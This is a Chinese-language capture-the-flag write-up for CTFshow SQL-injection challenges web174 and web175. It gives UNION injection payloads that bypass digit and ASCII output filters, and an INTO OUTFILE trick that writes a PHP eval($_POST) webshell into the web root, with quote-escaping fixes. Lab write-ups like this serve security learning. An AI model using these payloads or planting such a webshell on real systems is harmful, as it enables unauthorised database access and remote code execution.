CTFshow web174/175

web174

username != 'flag' 过滤

  • 作用:排除username字段值为flag的记录

LIMIT 1 结果限制

  • 作用:仅返回查询结果的第一条记录

这里如果返回数据中包含 flag 字样,或者包含数字0-9,则不会输出

尝试常规思路,发现查询语句的内容也不能出现数字

1'union select NULL,NULL--+

查表名就不行了,表名为 ctfshow_user4,包含了数字不能直接查

payload:

1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+

flag在password里面,将里面的数字用大写的英文代替

然后写一个简单的py代码还原即可

str_flag = (input("输入"))
replace_flag = {'A': '1','B': '2','C': '3','D': '4','E': '5','F': '6','G': '7','H': '8','I': '9','J': '0'}
for i,k in replace_flag.items():
    str_flag = str_flag.replace(i,k)
print(str_flag)

web175

返回逻辑

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }
      

正则匹配过滤掉的是所有 ASCII 字符

用到 into outfile,贴一段payload

1'union select table_name,1 from information_schema.tables where  table_schema=database() into outfile '/var/www/html/111.txt'--+

前面和正常查询的语句一样后面把结果写入111.txt,这样就解决了没有回显的问题了

————————————————————————————————————————

扩展:

同理我们这边可以写入一句话木马到php文件里面getshell

其中遇到的一点问题

-1'union select '<?php eval($_POST[a]);?>',1  into outfile '/var/www/html/xqx.php'--+

这个payload可以正常写入,但是

-1'union select '<?php eval($_POST['a']);?>',1  into outfile '/var/www/html/xqx.php'--+

这个payload给a加上了引号,无法写入

询问大佬后发现原因

引号和前面的闭合了,可以用转义符\解决

-1'union select '<?php eval($_POST[\'a\']);?>',1  into outfile '/var/www/html/xqx.php'--+
posted @ 2025-04-25 21:21  Susen  阅读(21)  评论(0)    收藏  举报